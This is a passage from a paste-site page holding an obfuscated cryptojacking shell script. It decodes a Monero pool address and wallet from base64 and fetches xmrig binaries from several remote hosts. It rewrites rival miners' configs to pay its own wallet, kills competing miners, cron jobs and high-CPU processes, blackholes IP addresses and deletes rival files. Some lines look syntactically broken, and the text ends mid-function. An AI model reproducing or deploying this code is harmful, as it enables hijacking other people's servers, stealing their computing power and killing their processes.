New paste
Recent API Trending Blog
Guest
 
Guest

ghmiklagh

Guest
Aug 26th, 2026
22
0
Never
Not a member of GistPad yet? Sign Up, it unlocks many cool features!
None 84.22 KB | None | 0 0
copy raw download clone embed print report
  1. #!/bin/sh
  2. _d(){ printf '%s' "$1"|base64 -d 2>/dev/null; }
  3. #!/bin/sh
  4. if [ -z "$BASH_VERSION" ]; then
  5. case "$0" in
  6. /*|./*)
  7. if command -v bash >/dev/null 2>&1; then
  8. exec bash "$0" "$@"
  9. fi
  10. ;;
  11. esac
  12. fi
  13. _c1="${1:-x}"
  14. _c2=$(_d 'aHR0cHM6Ly9naXN0cGFkLmNvbS9naG1pa2xhZ2gtMw==')
  15. _c3=$(_d 'eG1yLmtyeXB0ZXgubmV0d29yazo4MDI5')
  16. _c4=$(_d 'ODgza0FCN1Vmb0pDS1B6WkFhdlVDSEpkSDRMMnFWanF3NEE3OWRpVXJGakJXQkZyZXJoWFBGYmJVWm5ZMkNlbWNVaUJjTHBBVXozOHZWWUJiVXFUSEFnb0F3Z0JDRkg=')
  17. _c5=$(_d 'Z29Bd2dCQ0ZI')
  18. _c6=$(_d 'Z29Bd2dCQ0ZIIHJlc2VydmVwYXR0ZXJuMjMzMzMgcGF0dGVybjJyZXNlcnZlMzMz')
  19. _c7=$(_d 'aHR0cHM6Ly9naXRlZS5jb20vYWxiZXJ0b3RyaW5kYWRlMTMxX3BuZy94bXJpZy9yYXcvbWFpbi94bXJpZw==')
  20. _c8=$(_d 'aHR0cHM6Ly9naXRsYWIuY29tL2FwaS92NC9wcm9qZWN0cy81NDMxNDE2MS9wYWNrYWdlcy9nZW5lcmljL3htcmlnLWFhcmNoNjQtc3RhdGljLzIwMjYtMDctMjMveG1yaWctYWFyY2g2NC1zdGF0aWM=')
  21. _c9=$(_d 'aHR0cHM6Ly9naGZhc3QudG9wLz9xPWh0dHBzJTNBJTJGJTJGZ2l0aHViLmNvbSUyRmx1Y2FzNzczMzUlMkZ4bXJpZy1hbWQlMkZyZWxlYXNlcyUyRmRvd25sb2FkJTJGbWFpbiUyRnhtcmlnLXg4Nl82NC1zdGF0aWM=')
  22. log() { echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"; }
  23. _preflight() {
  24. _pf_need_fetch=1 # always need HTTP fetch capability
  25. # Determine what we have
  26. _check_tools() {
  27. _pf_has_curl=0; _pf_has_wget=0; _pf_has_openssl=0; _pf_has_perl=0
  28. command -v curl >/dev/null 2>&1 && _pf_has_curl=1
  29. command -v wget >/dev/null 2>&1 && _pf_has_wget=1
  30. command -v openssl >/dev/null 2>&1 && _pf_has_openssl=1
  31. command -v perl >/dev/null 2>&1 && _pf_has_perl=1
  32. }
  33. _check_tools
  34. # Can we fetch?
  35. _pf_can_fetch() {
  36. # curl or wget alone is sufficient
  37. [ "$_pf_has_curl" = "1" ] && return 0
  38. [ "$_pf_has_wget" = "1" ] && return 0
  39. # openssl + perl together is sufficient (openssl for TLS, perl for chunked decode)
  40. [ "$_pf_has_openssl" = "1" ] && [ "$_pf_has_perl" = "1" ] && return 0
  41. return 1
  42. }
  43. # If we can't fetch, try to install as root
  44. if ! _pf_can_fetch; then
  45. log "PREFLIGHT: missing HTTP fetch capability"
  46. if [ "$(id -u)" = "0" ]; then
  47. log "Running as root — installing missing components..."
  48. _pf_installed=0
  49. # Try package managers in order of preference: curl first (simplest),
  50. # then wget, then openssl+perl
  51. if command -v apk >/dev/null 2>&1; then
  52. # Alpine: prefer curl, then wget
  53. if [ "$_pf_installed" = "0" ]; then
  54. log " trying apk add curl..."
  55. apk add --no-cache curl >/dev/null 2>&1 && _pf_installed=1
  56. fi
  57. if [ "$_pf_installed" = "0" ]; then
  58. log " trying apk add wget..."
  59. apk add --no-cache wget >/dev/null 2>&1 && _pf_installed=1
  60. fi
  61. if [ "$_pf_installed" = "0" ]; then
  62. log " trying apk add openssl perl..."
  63. apk add --no-cache openssl perl >/dev/null 2>&1 && _pf_installed=1
  64. fi
  65. elif command -v apt-get >/dev/null 2>&1; then
  66. # Debian/Ubuntu: prefer curl, then wget
  67. apt-get update -qq >/dev/null 2>&1
  68. if [ "$_pf_installed" = "0" ]; then
  69. log " trying apt-get install curl..."
  70. apt-get install -y -qq curl >/dev/null 2>&1 && _pf_installed=1
  71. fi
  72. if [ "$_pf_installed" = "0" ]; then
  73. log " trying apt-get install wget..."
  74. apt-get install -y -qq wget >/dev/null 2>&1 && _pf_installed=1
  75. fi
  76. if [ "$_pf_installed" = "0" ]; then
  77. log " trying apt-get install openssl perl..."
  78. apt-get install -y -qq openssl perl >/dev/null 2>&1 && _pf_installed=1
  79. fi
  80. elif command -v yum >/dev/null 2>&1; then
  81. # RHEL/CentOS
  82. if [ "$_pf_installed" = "0" ]; then
  83. log " trying yum install curl..."
  84. yum install -y curl >/dev/null 2>&1 && _pf_installed=1
  85. fi
  86. if [ "$_pf_installed" = "0" ]; then
  87. log " trying yum install wget..."
  88. yum install -y wget >/dev/null 2>&1 && _pf_installed=1
  89. fi
  90. elif command -v dnf >/dev/null 2>&1; then
  91. # Fedora
  92. if [ "$_pf_installed" = "0" ]; then
  93. log " trying dnf install curl..."
  94. dnf install -y curl >/dev/null 2>&1 && _pf_installed=1
  95. fi
  96. fi
  97. # Re-check after install
  98. _check_tools
  99. if _pf_can_fetch; then
  100. log "PREFLIGHT: install succeeded"
  101. else
  102. log "PREFLIGHT FAIL: could not install fetch tools. Exiting."
  103. exit 0
  104. fi
  105. else
  106. log "PREFLIGHT FAIL: no curl/wget/(openssl+perl), not root — cannot install. Exiting."
  107. exit 0
  108. fi
  109. fi
  110. # Report what we have
  111. _pf_tools=""
  112. [ "$_pf_has_curl" = "1" ] && _pf_tools="$_pf_tools curl"
  113. [ "$_pf_has_wget" = "1" ] && _pf_tools="$_pf_tools wget"
  114. [ "$_pf_has_openssl" = "1" ] && _pf_tools="$_pf_tools openssl"
  115. [ "$_pf_has_perl" = "1" ] && _pf_tools="$_pf_tools perl"
  116. log "PREFLIGHT OK: fetch available via:$_pf_tools"
  117. }
  118. _preflight
  119.  
  120. _q9='883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH'
  121.  
  122. _z7() {
  123. _r1="${1:-/var/tmp/.odoo_pg_health.json}"
  124. _r2="${2:-/var/tmp/.odoo_pg_start}"
  125. _s1='s/"user"[[:space:]]*:[[:space:]]*"[^"]*"/"user": "'"$_q9"'"/g'
  126. _s2='s/^W=["'"'"']*[^"'"'"']*["'"'"']*$/W="'"$_q9"'"/'
  127. _h1 "$_r1" "$_s1"
  128. _h1 "$_r2" "$_s2"
  129. return 0
  130. }
  131.  
  132. _h1() {
  133. _f0="$1"
  134. _p0="$2"
  135. _t0="${_f0}.$$"
  136. command -v sed >/dev/null 2>&1 || return 0
  137. command -v cat >/dev/null 2>&1 || return 0
  138. [ -f "$_f0" ] || return 0
  139. [ -r "$_f0" ] || return 0
  140. [ -w "$_f0" ] || return 0
  141. if sed "$_p0" "$_f0" > "$_t0" 2>/dev/null; then
  142. if cat "$_t0" > "$_f0" 2>/dev/null; then
  143. :
  144. fi
  145. fi
  146. rm -f "$_t0" 2>/dev/null || :
  147. return 0
  148. }
  149.  
  150. mask_enemy() { _z7 "$@"; }
  151.  
  152.  
  153. detect_kill_unicorn() {
  154. _dk_uid=$(id -u 2>/dev/null || echo 0)
  155. _dk_user=$(id -un 2>/dev/null || echo "")
  156. _dk_home=$(getent passwd "$_dk_user" 2>/dev/null | cut -d: -f6)
  157. [ -n "$_dk_home" ] || _dk_home="${HOME:-/tmp}"
  158. _dk_cldir="$_dk_home/.claude"
  159.  
  160. # Target 1: the daemonized miner, identified by cwd == ~/.claude.
  161. # Safe: nothing legitimate ever runs from the worm's hidden dir.
  162. _dk_miners=""
  163. for _dk_proc in /proc/[0-9]*; do
  164. [ -d "$_dk_proc" ] || continue
  165. _dk_pid=${_dk_proc#/proc/}
  166. [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  167. [ "$_dk_pid" = "$$" ] && continue
  168. _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  169. [ "$_dk_owner" = "$_dk_uid" ] || continue
  170. _dk_cwd=$(readlink "$_dk_proc/cwd" 2>/dev/null)
  171. case "$_dk_cwd" in
  172. "$_dk_cldir") _dk_miners="$_dk_miners $_dk_pid";;
  173. esac
  174. done
  175.  
  176. # Target 2: the live CRON jobs -> descendants respawner tree
  177. _dk_crons=""
  178. for _dk_proc in /proc/[0-9]*; do
  179. [ -d "$_dk_proc" ] || continue
  180. _dk_pid=${_dk_proc#/proc/}
  181. [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  182. [ "$_dk_pid" = "$$" ] && continue
  183. _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  184. [ "$_dk_owner" = "$_dk_uid" ] || continue
  185. [ -r "$_dk_proc/cmdline" ] || continue
  186. _dk_cmd=$(tr '\000' ' ' < "$_dk_proc/cmdline" 2>/dev/null)
  187. _dk_a0=$(printf '%s\n' "$_dk_cmd" | awk '{print $1}')
  188. _dk_a1=$(printf '%s\n' "$_dk_cmd" | awk '{print $2}')
  189. _dk_a2=$(printf '%s\n' "$_dk_cmd" | awk '{print $3}')
  190. [ "$(basename "$_dk_a0" 2>/dev/null)" = "CRON" ] || continue
  191. [ "$_dk_a1" = "jobs" ] || continue
  192. [ -n "$_dk_a2" ] && continue
  193. _dk_crons="$_dk_crons $_dk_pid"
  194. done
  195.  
  196. # expand CRON jobs to all descendants
  197. _dk_tree="$_dk_crons"
  198. for _dk_round in 1 2 3 4 5; do
  199. for _dk_proc in /proc/[0-9]*; do
  200. [ -d "$_dk_proc" ] || continue
  201. _dk_pid=${_dk_proc#/proc/}
  202. [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  203. [ "$_dk_pid" = "$$" ] && continue
  204. _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  205. [ "$_dk_owner" = "$_dk_uid" ] || continue
  206. _dk_pp=$(awk '{print $4}' "$_dk_proc/stat" 2>/dev/null)
  207. case " $_dk_tree " in
  208. *" $_dk_pp "*)
  209. case " $_dk_tree " in *" $_dk_pid "*) ;; *) _dk_tree="$_dk_tree $_dk_pid";; esac
  210. ;;
  211. esac
  212. done
  213. done
  214.  
  215. # Kill everything (miners + cron tree), TERM then KILL
  216. _dk_all="$_dk_miners $_dk_tree"
  217. for _dk_pid in $_dk_all; do kill -TERM "$_dk_pid" 2>/dev/null; done
  218. sleep 1 2>/dev/null
  219. for _dk_pid in $_dk_all; do kill -0 "$_dk_pid" 2>/dev/null && kill -KILL "$_dk_pid" 2>/dev/null; done
  220.  
  221. # Scrub the respawner: crontab + payload files in .claude
  222. _dk_cron_ioc='95\.85\.237\.226|193\.41\.68\.194|95\.85\.237\.149|2\.26\.99\.68|210\.195\.19\.39|apt-update\.com|joker\.aec944b68370194a50|\.claude'
  223. if command -v crontab >/dev/null 2>&1; then
  224. _dk_ct="${TMPDIR:-/tmp}/.dkcron.$$"
  225. if crontab -u "$_dk_user" -l 2>/dev/null > "$_dk_ct"; then
  226. if grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null; then
  227. grep -vE "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null | crontab -u "$_dk_user" - 2>/dev/null
  228. echo "[dk] scrubbed crontab: $_dk_user"
  229. fi
  230. fi
  231. rm -f "$_dk_ct" 2>/dev/null
  232. fi
  233. for _dk_f in "/var/spool/cron/crontabs/$_dk_user" "/var/spool/cron/$_dk_user"; do
  234. [ -f "$_dk_f" ] || continue
  235. grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_f" 2>/dev/null || continue
  236. chattr -f -ia "$_dk_f" 2>/dev/null
  237. sed -i -E "/$_dk_cron_ioc|CRON jobs/d" "$_dk_f" 2>/dev/null
  238. done
  239.  
  240. # remove the worm payload files (only ones we own, only inside .claude)
  241. if [ -d "$_dk_cldir" ] && [ -O "$_dk_cldir" ]; then
  242. for _dk_f in "$_dk_cldir"/unicorn "$_dk_cldir"/CRON "$_dk_cldir"/jobs "$_dk_cldir"/pwb "$_dk_cldir"/config.json; do
  243. [ -e "$_dk_f" ] || continue
  244. [ -O "$_dk_f" ] || continue
  245. chattr -f -ia "$_dk_f" 2>/dev/null
  246. rm -f "$_dk_f" 2>/dev/null
  247. echo "[dk] removed: $_dk_f"
  248. done
  249. fi
  250.  
  251. [ -z "$_dk_miners" ] && [ -z "$_dk_tree" ] && echo "[dk] nothing found" \
  252. || echo "[dk] done: killed$(echo $_dk_miners)$(echo $_dk_tree)"
  253. return 0
  254. }
  255.  
  256.  
  257. detect_kill_unicorn
  258.  
  259. http_get() {
  260. _hg_url="$1"; _hg_follow=0
  261. while [ "$_hg_follow" -lt 5 ]; do
  262. _hg_follow=$((_hg_follow + 1))
  263. _hg_hp="${_hg_url#https://}";; _hg_hp="${_hg_hp#http://}";
  264. _hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
  265. [ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
  266. _hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
  267. [ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
  268. _hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
  269. printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
  270. "$_hg_path" "$_hg_host" > "$_hg_req"
  271. if [ "${_hg_url#https://}"; != "$_hg_url" ]; then
  272. # HTTPS — openssl s_client with SNI
  273. if command -v timeout >/dev/null 2>&1; then
  274. timeout 45 openssl s_client -connect "${_hg_ip}:443" \
  275. -servername "$_hg_host" -quiet \
  276. < "$_hg_req" > "$_hg_raw" 2>/dev/null
  277. else
  278. openssl s_client -connect "${_hg_ip}:443" \
  279. -servername "$_hg_host" -quiet \
  280. < "$_hg_req" > "$_hg_raw" 2>/dev/null
  281. fi
  282. [ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }
  283. else
  284. # Plain HTTP — use nc (netcat) if available (works on Alpine)
  285. if command -v nc >/dev/null 2>&1; then
  286. cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
  287. elif [ -n "$BASH_VERSION" ]; then
  288. # bash /dev/tcp fallback
  289. exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
  290. cat "$_hg_req" >&3
  291. cat <&3 > "$_hg_raw" 2>/dev/null
  292. exec 3>&-
  293. else
  294. # Last resort: openssl on port 80 (may fail — TLS on plain HTTP port)
  295. cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
  296. fi
  297. fi
  298. _hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
  299. case "$_hg_status" in
  300. 301|302|303|307|308)
  301. _hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
  302. rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  303. [ -z "$_hg_loc" ] && return 1
  304. case "$_hg_loc" in
  305. /*) _hg_loc="https://${_hg_host}${_hg_loc}"; ;;
  306. http://*|https://*) ;;
  307. *) _hg_loc="https://${_hg_host}/${_hg_loc}"; ;;
  308. esac
  309. _hg_url="$_hg_loc"
  310. continue
  311. ;;
  312. esac
  313. tr -d '\r' < "$_hg_raw" | perl -0777 -ne '
  314. if (/^(.*?)\n\n(.*)$/s) {
  315. my ($h, $b) = ($1, $2);
  316. if ($h =~ /transfer-encoding:\s*chunked/i) {
  317. my $out = "";
  318. while ($b =~ /^([0-9a-fA-F]+)\n(.*)$/s) {
  319. my $sz = hex($1); last if $sz == 0;
  320. $b = $2; $out .= substr($b, 0, $sz);
  321. $b = substr($b, $sz); $b =~ s/^\n//;
  322. }
  323. print $out;
  324. } else { print $b; }
  325. }
  326. ' | grep -v '^[0-9a-fA-F]*$'
  327. rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  328. return 0
  329. done
  330. return 1
  331. }
  332. http_get_bin() {
  333. _hg_url="$1"; _hg_out="$2"; _hg_follow=0
  334. while [ "$_hg_follow" -lt 5 ]; do
  335. _hg_follow=$((_hg_follow + 1))
  336. _hg_hp="${_hg_url#https://}";; _hg_hp="${_hg_hp#http://}";
  337. _hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
  338. [ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
  339. _hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
  340. [ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
  341. _hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
  342. printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
  343. "$_hg_path" "$_hg_host" > "$_hg_req"
  344. if [ "${_hg_url#https://}"; != "$_hg_url" ]; then
  345. # HTTPS — openssl s_client with SNI
  346. if command -v timeout >/dev/null 2>&1; then
  347. timeout 45 openssl s_client -connect "${_hg_ip}:443" \
  348. -servername "$_hg_host" -quiet \
  349. < "$_hg_req" > "$_hg_raw" 2>/dev/null
  350. else
  351. openssl s_client -connect "${_hg_ip}:443" \
  352. -servername "$_hg_host" -quiet \
  353. < "$_hg_req" > "$_hg_raw" 2>/dev/null
  354. fi
  355. [ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }
  356. else
  357. # Plain HTTP — nc or bash /dev/tcp
  358. if command -v nc >/dev/null 2>&1; then
  359. cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
  360. elif [ -n "$BASH_VERSION" ]; then
  361. exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
  362. cat "$_hg_req" >&3
  363. cat <&3 > "$_hg_raw" 2>/dev/null
  364. exec 3>&-
  365. else
  366. cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
  367. fi
  368. fi
  369. _hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
  370. case "$_hg_status" in
  371. 301|302|303|307|308)
  372. _hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
  373. rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  374. [ -z "$_hg_loc" ] && return 1
  375. case "$_hg_loc" in
  376. /*) _hg_loc="https://${_hg_host}${_hg_loc}"; ;;
  377. http://*|https://*) ;;
  378. *) _hg_loc="https://${_hg_host}/${_hg_loc}"; ;;
  379. esac
  380. _hg_url="$_hg_loc"
  381. continue
  382. ;;
  383. esac
  384. perl -0777 -ne '
  385. if (/^(.*?)\r\n\r\n(.*)$/s) {
  386. my ($h, $b) = ($1, $2);
  387. $h =~ s/\r//g;
  388. if ($h =~ /transfer-encoding:\s*chunked/i) {
  389. my $out = "";
  390. while ($b =~ /^([0-9a-fA-F]+)\r?\n(.*)$/s) {
  391. my $sz = hex($1); last if $sz == 0;
  392. $b = $2; $out .= substr($b, 0, $sz);
  393. $b = substr($b, $sz); $b =~ s/^\r?\n//;
  394. }
  395. print $out;
  396. } else { print $b; }
  397. }
  398. ' < "$_hg_raw" > "$_hg_out"
  399. rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  400. [ -s "$_hg_out" ] && return 0 || return 1
  401. done
  402. return 1
  403. }
  404. fetch_url() {
  405. _fu_url="$1"
  406. if command -v curl >/dev/null 2>&1; then
  407. curl -fsSLk --connect-timeout 10 --max-time 60 "$_fu_url" 2>/dev/null
  408. elif command -v wget >/dev/null 2>&1; then
  409. wget -qO- --timeout=10 --tries=2 "$_fu_url" 2>/dev/null
  410. else
  411. http_get "$_fu_url"
  412. fi
  413. }
  414. fetch_file() {
  415. _ff_url="$1"; _ff_out="$2"
  416. if command -v curl >/dev/null 2>&1; then
  417. curl -fLk --silent --show-error --connect-timeout 10 --max-time 120 \
  418. --retry 2 --retry-delay 1 --output "$_ff_out" "$_ff_url" 2>/dev/null
  419. elif command -v wget >/dev/null 2>&1; then
  420. wget -q --timeout=10 --tries=3 -O "$_ff_out" "$_ff_url" 2>/dev/null
  421. else
  422. http_get_bin "$_ff_url" "$_ff_out"
  423. fi
  424. }
  425. _is_excluded() {
  426. _ie_cmdline="$1"
  427. for _ie_pat in $_c6; do
  428. case "$_ie_cmdline" in
  429. *"$_ie_pat"*) return 0 ;;
  430. esac
  431. done
  432. return 1
  433. }
  434. kill_themf() {
  435. (
  436. set +e
  437. _kt_threshold=7
  438. for _kt_proc in /proc/[0-9]*; do
  439. [ -r "$_kt_proc/status" ] || continue
  440. _kt_pid="${_kt_proc#/proc/}"
  441. _kt_cmdline=$(tr '\0' ' ' < "$_kt_proc/cmdline" 2>/dev/null)
  442. # Exclude our miner
  443. _is_excluded "$_kt_cmdline" && continue
  444. _kt_score=0
  445. _kt_name=$(awk '/^Name:/ {print $2}' "$_kt_proc/status")
  446. _kt_uid=$(awk '/^Uid:/ {print $2}' "$_kt_proc/status")
  447. _kt_state=$(awk '/^State:/ {print $2}' "$_kt_proc/status")
  448. _kt_ppid=$(awk '/^PPid:/ {print $2}' "$_kt_proc/status")
  449. _kt_rss=$(awk '/^VmRSS:/ {print $2}' "$_kt_proc/status")
  450. _kt_rss=${_kt_rss:-0}
  451. _kt_exe=$(readlink -f "$_kt_proc/exe" 2>/dev/null)
  452. [ -n "$_kt_exe" ] && _kt_score=$((_kt_score + 1))
  453. [ "$_kt_rss" -gt 500000 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
  454. [ "$_kt_rss" -gt 1000000 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
  455. _kt_zombies=$(ps --no-headers --ppid "$_kt_pid" -o stat 2>/dev/null | grep -c '^Z')
  456. [ "$_kt_zombies" -ge 5 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
  457. [ "$_kt_zombies" -ge 20 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
  458. _kt_user=$(id -nu "$_kt_uid" 2>/dev/null)
  459. if [ "$_kt_user" != root ]; then
  460. case "$_kt_state" in
  461. S*) _kt_score=$((_kt_score + 1)) ;;
  462. esac
  463. fi
  464. case "$_kt_exe" in
  465. /tmp/*|/var/tmp/*|/dev/shm/*)
  466. _kt_score=$((_kt_score + 4)) ;;
  467. "$HOME"/.cache/*|"$HOME"/.local/share/*|"$HOME"/.config/*)
  468. _kt_score=$((_kt_score + 4)) ;;
  469. esac
  470. [ -d "/proc/$_kt_ppid" ] || _kt_score=$((_kt_score + 1))
  471. if [ "$_kt_score" -ge "$_kt_threshold" ] 2>/dev/null; then
  472. echo "[+] Killing PID=$_kt_pid score=$_kt_score name=$_kt_name exe=$_kt_exe"
  473. kill -9 "$_kt_pid" 2>/dev/null
  474. fi
  475. done
  476. )
  477. return 0
  478. }
  479. kill_mf3() {
  480. (
  481. set +e
  482. _km_pat='syslog-ng-[0-9a-f]\{8\}|syslog-helper|donate-level|stratum+tcp|cryptonight|randomx|/proc/[0-9]+/exe'
  483. _km_skip="$_c5"
  484. _km_all=$(ps -eo pid=,ppid=,args= 2>/dev/null) || return 0
  485. _km_all=$(printf '%s\n' "$_km_all" | grep -v -- "$_km_skip")
  486. # Tier 1: watchdogs + grep scanner
  487. _km_t1=$(printf '%s\n' "$_km_all" | grep -E "$_km_pat" 2>/dev/null | grep -vE 'kill_cryptojack|awk' | awk '/syslog-helper|donate-level/{print $1" "$2}')
  488. # Tier 2: miners
  489. _km_t2=$(printf '%s\n' "$_km_all" | grep -E 'syslog-ng-[0-9a-f]{8}' 2>/dev/null | grep -v awk | awk '{print $1" "$2}')
  490. _km_t2b=$(printf '%s\n' "$_km_all" | grep -E 'stratum\+tcp|cryptonight|randomx|donate-level' 2>/dev/null | grep -vE 'syslog-ng|syslog-helper|kill_cryptojack|awk' | awk '{print $1" "$2}')
  491. _km_pids_of() { printf '%s\n' "$1" | awk 'NF{print $1}' | sort -un | tr '\n' ' '; }
  492. # T1: SIGTERM then SIGKILL
  493. _km_t1p=$(_km_pids_of "$_km_t1")
  494. _km_t1par=$(printf '%s\n' "$_km_t1" | awk 'NF{print $2}' | sort -un | tr '\n' ' ')
  495. _km_list=$(printf '%s %s' "$_km_t1p" "$_km_t1par" | tr ' ' '\n' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
  496. if [ -n "$_km_list" ]; then
  497. kill -TERM $_km_list 2>/dev/null; sleep 1
  498. for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
  499. fi
  500. # T2: SIGTERM then SIGKILL
  501. _km_list=$(printf '%s %s' "$_km_t2" "$_km_t2b" | awk 'NF{print $1}' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
  502. if [ -n "$_km_list" ]; then
  503. kill -TERM $_km_list 2>/dev/null; sleep 2
  504. for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
  505. fi
  506. # T3: orphans
  507. sleep 1
  508. _km_left=$(ps -eo pid=,args= 2>/dev/null | grep -E "$_km_pat" | grep -vE 'kill_cryptojack|grep' | grep -v -- "$_km_skip" | awk '{print $1}' | sort -un | tr '\n' ' ')
  509. [ -n "$_km_left" ] && kill -KILL $_km_left 2>/dev/null; :
  510. )
  511. return 0
  512. }
  513. kill_and_remove_process() {
  514. _karp_term="$1"
  515. [ -z "$_karp_term" ] && return 2
  516. for _karp_dir in /proc/[0-9]*; do
  517. [ -r "$_karp_dir/comm" ] || continue
  518. _karp_pid="${_karp_dir##*/}"
  519. _karp_comm=$(cat "$_karp_dir/comm" 2>/dev/null)
  520. _karp_cmdline=$(tr '\0' ' ' < "$_karp_dir/cmdline" 2>/dev/null)
  521. if [ "$_karp_comm" != "$_karp_term" ] && ! printf '%s\n' "$_karp_cmdline" | grep -Fq -- "$_karp_term"; then
  522. continue
  523. fi
  524. _karp_exe=$(readlink -f "$_karp_dir/exe" 2>/dev/null)
  525. [ -z "$_karp_exe" ] && continue
  526. # Skip system binaries
  527. case "$_karp_exe" in
  528. /bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*|/lib/*|/lib64/*|/usr/lib/*) continue ;;
  529. esac
  530. echo "Terminating '$_karp_term' PID=$_karp_pid"
  531. kill "$_karp_pid" 2>/dev/null; sleep 1
  532. kill -0 "$_karp_pid" 2>/dev/null && kill -9 "$_karp_pid" 2>/dev/null
  533. if [ -f "$_karp_exe" ]; then
  534. rm -f -- "$_karp_exe" 2>/dev/null && echo "Deleted: $_karp_exe"
  535. fi
  536. done
  537. return 0
  538. }
  539. kill_high_cpu() {
  540. _khc_threshold=150.0
  541. ps -eo pid,%cpu --sort=-%cpu 2>/dev/null | awk -v t="$_khc_threshold" 'NR>1 && $2 > t {print $1}' | while read -r _khc_pid; do
  542. [ -f "/proc/$_khc_pid/cmdline" ] || continue
  543. _khc_cmdline=$(tr '\0' ' ' < "/proc/$_khc_pid/cmdline")
  544. _is_excluded "$_khc_cmdline" && continue
  545. kill -9 "$_khc_pid" 2>/dev/null && echo "Killed high-CPU PID=$_khc_pid"
  546. done
  547. }
  548. harden_network() {
  549. command -v iptables >/dev/null 2>&1 && {
  550. iptables -A INPUT -s 66.23.199.44 -j DROP 2>/dev/null || true
  551. iptables -A INPUT -s 45.94.31.89 -j DROP 2>/dev/null || true
  552. }
  553. command -v ip >/dev/null 2>&1 && {
  554. ip route add blackhole 139.59.59.33 2>/dev/null || true
  555. ip route add blackhole 45.94.31.89 2>/dev/null || true
  556. ip route add blackhole 154.89.152.115 2>/dev/null || true
  557. ip route add blackhole 84.21.173.223 2>/dev/null || true
  558. ip route add blackhole 142.132.131.238 2>/dev/null || true
  559. }
  560. }
  561. cleanup_files() {
  562. # Remove competing miner artifacts (union of all scripts)
  563. rm -rf /bin/softirq 2>/dev/null || true
  564. rm -rf /var/tmp/.rsyslogd 2>/dev/null || true
  565. rm -rf /lib/systemd/cache/health-monitor 2>/dev/null || true
  566. rm -rf /usr/local/bin/watcher 2>/dev/null || true
  567. rm -rf /tmp/runnv/* 2>/dev/null || true
  568. rm -rf /lib/systemd/cache/asset-indexer 2>/dev/null || true
  569. rm -rf /tmp/nuclear 2>/dev/null || true
  570. rm -f /tmp/mon.sh 2>/dev/null || true
  571. rm -f /tmp/run.sh 2>/dev/null || true
  572. # Reclaim as honeypots
  573. mkdir -p /bin/softirq 2>/dev/null || true
  574. mkdir -p /tmp/nuclear 2>/dev/null || true
  575. mkdir -p /tmp/runnv/lived.sh 2>/dev/null || true
  576. mkdir -p /tmp/runnv/alive.sh 2>/dev/null || true
  577. mkdir -p /usr/local/bin/watcher 2>/dev/null || true
  578. mkdir -p /lib/systemd/cache/health-monitor 2>/dev/null || true
  579. mkdir -p /var/tmp/.rsyslogd 2>/dev/null || true
  580. mkdir -p /lib/systemd/cache/asset-indexer 2>/dev/null || true
  581. # Remove old dns-filter artifacts
  582. for _cf_f in "${HOME_1:-/tmp}/systemdev/dns-filter" /usr/lib/systemdev/dns-filter /usr/lib/dev/systemdev/dns-filter; do
